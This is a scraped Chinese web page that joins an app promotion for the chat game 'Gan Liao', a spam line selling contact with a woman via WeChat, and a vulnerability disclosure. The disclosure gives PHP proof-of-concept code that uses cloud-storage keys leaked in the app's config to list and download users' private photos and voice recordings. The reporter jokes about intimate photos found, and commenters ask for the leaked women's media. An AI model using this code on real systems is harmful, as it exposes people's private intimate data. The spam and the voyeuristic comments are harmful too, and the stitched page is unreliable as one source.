真人互动在线邀请 《敢聊》介绍
真人互动在线邀请 《敢聊》介绍
编辑：3533
来源：手机世界
《》一款真人互动的社交应用。真心话大冒险好玩刺激，大冒险的照片可阅后即焚。敢挑战的朋友们，一起来玩真心话大冒险吧。
游戏方式：
1、随机匹配
根据你们的地理位置和性别，给你随机匹配到帅哥和美女，你们1对1的进行真心话大冒险。
2、在线邀请
根据用户的头像，自我介绍，地理位置，你可以邀请你中意的帅哥美女和你一起来玩
3、微信好友
你还可以发出邀请给微信上自己的暧昧好友，一起加深感情。
1、真心话，一方问出一个真心话的问题，另一方用语音来回答。
2、大冒险，一方给出一个大冒险的要求，另一方用拍照证明自己做过了这件事情。照片在指定的时间内可以看到，之后就会自动消失。这样就不用担心自己的隐私被暴露啦!
PS:如果大家喜欢该款，可以使用【】进行下载。（操作简单便捷；拥有最具公信力的应用下载排行榜，贴心的装机必备，让你的手机更丰富更好用！）
支持平台：Android还没有开通你的开心账户？使用其他账号登录：
给他剪完毛不怎么理我了。。。。是不是生气了？[泪流满面]最近发现一个特内涵的妹纸，晚上跟她聊了好久，什么都敢聊来着[good]想找她的可以加她微信号：neihan2233，或者扫描下面的二维码也可以找到她哦~只要你敢要，没有她不敢给的照片[花心]
本转帖分类：&&&&
&&上一帖：
下一帖：&&
(%)点击发表你的观点
12-10 00:0512-10 00:1912-10 00:2312-10 00:2312-10 00:2312-10 00:2712-10 00:2712-10 00:2712-10 00:3612-10 00:43
热门转帖：
最新专题：
&2015 开心网分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向第三方安全合作伙伴开放
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
最近刚流行的“敢聊”APP应用中，用户的语音、照片资料泄漏
详细说明：
在APP的配置文件中保存了云存储（使用的是七牛）的APPKEY、APPSECRET和空间名称、空间域名，显然，有了这些东西，那么用户发送的所有资料，都一览无余。
漏洞证明：
第一、用ITOOLS等工具打开应用。
第二，打开com.ruoogle.gamechat.plist该文件，无法直视啊。。
code 区域空间地址：GC_Static = &http://[马赛克]./&;
第三、去七牛官网下载SDK，配置好。
code 区域PHP:
//照片列表
$rst = Qiniu_RSF_ListPrefix($client, $bucket,'photo/1','',1000);
var_dump($rst);
//音频列表
$rst = Qiniu_RSF_ListPrefix($client, $bucket,'audio','',1000);
var_dump($rst);
第四、运行
第五、测试,获取文件下载地址
code 区域PHP:
$key = isset($_GET['i']) ? $_GET['i'] : 'photo/10022/xxxxxx.jpg';
Qiniu_SetKeys($accessKey, $secretKey);
$baseUrl = Qiniu_RS_MakeBaseUrl($domain, $key);
$getPolicy = new Qiniu_RS_GetPolicy();
$privateUrl = $getPolicy-&MakeRequest($baseUrl, null);
echo '&img src=&'. $privateUrl .'& /&' . &\n&;
语音文件同理
PS. 遍历下载发现不少鲍照啊。。。。
修复方案：
我不会IOS开发，哈哈哈
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：18
确认时间： 19:17
厂商回复：
真的是非常感谢，已经修复！！！！
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
还有这个东西呀！
求打包妹子照片及语音
@M0nster 只是测试遍历了前1K条，淡定。
洞主求妹子照片和录音。
@.cn 你们的开发这个大意闹的有点的大啊。。如果用户多起来问题就更严重了。
@.cn 亲啊，重置下secretKey呗，我现在还能访问到呢。。。
@有妹子送上
语音数据都能获取，太牛逼了。
我去，获取的是云端的？为什么不搞点限制级的大家开心开心……
用客户端直接连接七牛api......不过七牛如果弄个只允许增加的子Secret其实也是不错的，这样的话对应用开发者比较友好....
求secretKey找妹子呀~
其实危害应该不大，APPKEY、APPSECRET等都是存在本机的，通常都是假定本机是安全的。当然文件有权限检查，稍微加个密处理啥的会更好。
共享啊我日
登录后才能发表评论，请先}